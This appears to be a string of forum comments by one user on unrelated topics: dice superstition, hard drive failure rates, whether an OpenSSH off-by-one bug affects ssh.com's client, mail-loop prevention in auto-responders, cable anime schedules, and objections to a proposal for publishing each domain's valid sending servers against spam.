Remember that the sci-fi movies about which you write were written by humans, and no doubt the authors were trying to make a point about human behavior. Since, by your admission, the activity of serially raping planets for their resources is now associated with nasty aliens in your mind, it looks like the authors have succeeded in making their point.
first off some dice do roll a particular way.
... wow this is a good d20 -- I'll use this one"
Of course they do, just like some models of drives have high failure rates. My point is that you can't tell if a d20 "rolls high" by rolling it four times, and you can't tell if a manufacturer produces bad drives by looking at isolated failure incidents.
It's a strange bit of human nature that makes us ignore everything we know about statistics and probability and instead put faith in superstition and anecdotal evidence:
"12, 16, 20, 15
"ok, make your to-hit roll"
"2. shit. I must have used up all the good rolls."
If it's a "critical server," an IDE drive doesn't belong in it.
...which is one reason why I said I'd listen to them. I'm frankly a little confused by the idea that people are using the 120GXP in critical apps. I actually do have one of those big IDE drives -- I use it to store mp3s that I've ripped from CDs. For critical data, it's SCSI all the way.
Sending back a dead drive once in a while and extrapolating that the manufacturer produces shitty drives is one thing. Getting three bad drives in a row from one manufacturer and having them all fail after a month or two, OTOH...I think that's reasonable justification for swearing off of that supplier.
From your story it sounds like all three 5.1GB Maxtors were the same model (since they were replacements for each other). Part of my point is that every manufacturer is going to produce bad drives and bad models of drives. Why make the leap from the bad experience with a particular model of Maxtor drive to a conclusion about Maxtor drives in general?
I have no doubt that, given the many reports, the 120GXP has some problems. I haven't seen anything comparing its failure rate with that of other drives in its class, but even if its failure rate is spectacularly higher, I think the idea of swearing off all IBM drives based only upon the 120GXP's failure rate is ridiculous.
In other words, should everyone stop buying Fords solely because they made the Pinto? Maybe I should ask the Car Guys whether there exists a car manufacturer that has never produced a lemon.
from the article:
:)
While large numbers of readers responded to the questions I posed regarding drive reliability, their emails present very different pictures. Some of you swear by IBM drives and their reliability, while listing many of the Seagate, Maxtor, or WD drives you've seen fail in both a corporate and a consumer setting, while other readers had horror stories of seeing IBM drive after IBM drive bite the dust.
On the general topic of hard drive reliability, I've noticed a similar trend -- every sysadmin to whom I speak seems to have a poorly-founded personal hatred for one hard drive manufacturer. Sure, I admit, having a hard drive fail on you really sucks (esp. if you've been lazy with backups and don't have RAID).
What's weird about this is that people who are otherwise rational will take a single experience with a bad drive and use it to justify an opinion that all drives from that manufacturer are unreliable. It reminds me of D&D players who will, after rolling a d20 four or five times, decide that it "rolls high."
Here's the deal: hard drives fail. Get over it and design your systems such that your important data isn't relying on a single hard drive. In fact, two of my hard drives (a Quantum and an IBM) are slowly failing on me right now. Before that, the last one was a Seagate.
Now, I will admit that there must be some models from some manufacturers which are more prone to failure, just as there are probably some d20s which are prone to "roll high." Perhaps some manufacturers tend to make more reliable drives than others. However, in all the times I have heard someone bitch about a hard drive manufacturer, not once has someone referred to a study that did a statistically sound comparison of drives (I'm not sure that one even exists that compares, over time, all the various models of the manufacturers). It's always "Seagate sucks! A Seagate drive failed on me once, and I had to do a bare-metal recovery."
Of course, in this case, lots of people have reported problems with this drive, so it's a little different. If, sometime in the near future, someone tells me not to buy a cheap-ass OEM IBM IDE drive to use in a critical server, saying "remember the 120GXP?", I'll probably listen to them. However, based on my limited anecdotal evidence, I doubt that will happen
</rant>
Does the same issue exist in Commercial SSH?
A cursory glance through the code just now did not turn up anything.
However, even if an off-by-one error *did* exist in some function analogous to channel_lookup, the ssh2 binary is not setuid in the ssh.com version, so my guess is that a similar programmer error in the ssh2 code could not lead to an escalation of privileges (except perhaps by a malicious server getting your local privileges, but that's a different matter entirely).
The hostkey signing in ssh.com's ssh is handled by a separate setuid binary, ssh-signer2, which doesn't have anything to do with channels (not that it couldn't have other bugs, but it does have the advantage of having a smaller codebase to audit).
Note that I actually use both OpenSSH and ssh.com, so don't try to drag me into some flamewar about which one is "better." They each have their advantages and disadvantages. If you want to trash anyone, trash F-Secure; they really suck.
I think you're missing the point entirely (or you're just trolling, but if so, then I'll humor you). Yes, it is possible to write good forwarders and auto-responders. Yes, any bonehead should be able to do so. My point is that most boneheads don't, and so I gave a list that illuminated areas in which they often go wrong, and then I went further and noted that some are resistant to even considering mail loops in their program design. Saying that it's possible to do it right doesn't address either of those issues or add anything new.
Error messages sent by mail servers should have a NULL sender/return-path. Therefore your mail server should easily be able to tell what is an error message from a machine, and not reply to it.
Yes, they should have a NULL envelope from, and the auto-responders should be able to identify that, but as I said in my previous post, many people screw it up. The results end up in my inbox every day (which should have clued you in to the fact that I don't need a lecture on how email works).
[...aforementioned lecture...] All proper SMTP servers are required to keep all Received: headers intact, as well as to append a Received: header giving information about how that server received the message.
Yes, they should, but, again, my point is that a lot of people don't get that, and try to build a completely new set of headers, which you then go on to admit:
Apparantly one of the mail servers involved here was munging the Recieved: headers, either on accident or on purpose.
... which makes your point even less clear (unless it's some bizarre variation on "no true Scotsman"). Also, you seem to be implying that the MTA is doing the forwarding. However, in many cases, it happens via the MDA.
I've never heard of an 'X-Loop' header
It has long been a standard ingredient in many procmail(1)/formail(1) recipies. A similar variant is 'X-Been-There', which, IIRC, Mailman uses.
any good mail server will count the number of Received: headers and kill the message if an exorbitant number of Received: headers is found.
Whereas an X-Loop header will stop it on the first loop. That's why people use it. They also use it because many auto-responders and forwarders are implemented outside of the MTA, as procmail recipies, perl scripts, and so on. They often act as MUAs that happen to be invoked directly by the MDA, since they are acting on a user's behalf. There's no real reason why an auto-responder or a forwarder should be part of an SMTP implementation, unless you want your MTA to be a "jack of all trades, master of none." Down that path lies madness (and Microsoft). In any case, it would be unwise for the forwarder (and especially the auto-responder) to rely upon the MTA for loop protection, so smart programmers put in a loop-protection header, just in case. Redundant safety features are a Good Thing(tm).
4) Don't autoreply to the same address twice during [definable time period].
The Received: header counting above is a more maintainable solution to loop prevention for SMTP servers.
What does that have to do with what I said? You can count Received headers all you want, but it will still be annoying as hell when an auto-responder gets on a mailing list or starts replying to another auto-responder. Any sort of header-based loop protection against auto-responders is questionable because they tend to generate an entirely new message in reply to the trigger message (though formail(1), for instance, retains the X-Loop header). That's why, for instance, vacation(1) won't reply to the same recipient twice. The newer versions also don't reply to Precedence: (list|bulk), which eliminates even the first "please rob my house" message sent to a list submission address, and further cuts down on loops.
I've written an SMTP server in Java for my company.
Well, I'm sure that will solve the world's loop problems.
Somehow, few people seem to be able to get the autoresponder/autoforwarder thing right, despite the fact that it doesn't seem that hard and has been done correctly before. (Then again, there seems to be a dearth of good systems programmers around these days; I'm becoming increasingly cynical about such things.) Every day, I get auto-replies to MAILER-DAEMON's bounce messages, and every once in a while, some b0rken forwarder creates a mail loop. Unfortunately, when I try to tell the people responsible why what they are doing is a bad idea, they're usually not interested in hearing about the danger of mail loops.
Here are some things I've come up with over the years:
1) Never, ever auto-reply to MAILER-DAEMON or Postmaster (procmail has good regex macros for this -- use them or copy them).
2) Preserve the headers of messages you forward.
3) Set an X-Loop header and check for it (or *any* X-Loop header if you want to be paranoid).
4) Don't autoreply to the same address twice during [definable time period].
Those things just seem like common sense to me. Maybe someone else here knows more about the subject than I do. There has to be a HOWTO somewhere.
If your cable network carries the i-channel, you can sometimes get some subbed anime. (Along with the other crazy stuff they carry -- I'm still trying to figure out this [apparently Indian] game show). Granted, the non-Dragonball-Z stuff only comes once a week, but every little bit helps.
Check out the schedule here and watch Slayers tonight at 11pm EST.
The context was corperate users on the road with laptops.
But the broader context is about changing the way that email works for everyone. There are lots of suggestions that might work for a small subset of users, but fail to satisfy the breadth of needs fulfilled by our current email system.
The SASL feature allows it to have a seperate user database so that a login need not be provided.
Shell accounts are not the point (by "login" I assume you mean shell, since any provision of a username and password is "logging in"). Forwarding addresses now are just entries in the aliases map, without any sort of account at all. (And, before you say it, no server need be an open relay). Now you're asking the sysadmin to maintain a set of SMTP accounts with usernames and passwords, and probably to write a password-changing mechanism (the sysadmin running "saslpasswd" is not acceptable). One might also need a mechanism for locking accounts after a certain number of failed login and presenting the last successful and last failed login attempt to the user. The point is, authentication can be complicated, and "just give them all accounts" can be quite a hefty proposition.
They can either set up SMTP AUTH (no problem), or they can stay as they are (O.K. for you) and risk becoming a spam relay.
OR, as things stand now, without the valid servers published for each domain, users can use their ISP's mail servers. There's nothing that indicates that the webmail companies need to be open relays or that they are now. My point is that they are unlikely to bother setting up SMTP AUTH or to become an open relay, so users who want to send mail as their webmail addresses will be forced to use the web interface.
The other problem with all of this is that every mail client would need to be re-written to make the outgoing SMTP server dependent on the From address. Talk about a user support nightmare...
The real question is: would this stop spam? Much of the spam I get comes from open relays and have faked From addreses (and refers me to a web site or telephone number). What's to stop someone from using as the From? (Remember that if example.com is running an open relay, they can't be relied upon to do anything responsible or not to do anything irresponsible.) The rest of it comes with a "From" on some fly-by-night domain that can set its DNS records however it likes. Some of it sets both the "From" and recipient addresses to my address (and it seems that could be blocked in other ways without a significant change in behavior).
There is some portion that uses a "From" of yahoo.com or hotmail.com, but given all the pain through which this proposal would put non-spamming users and that the spammers would quickly adapt, I'm not sure that it's worth it to block this particular avenue of spamming.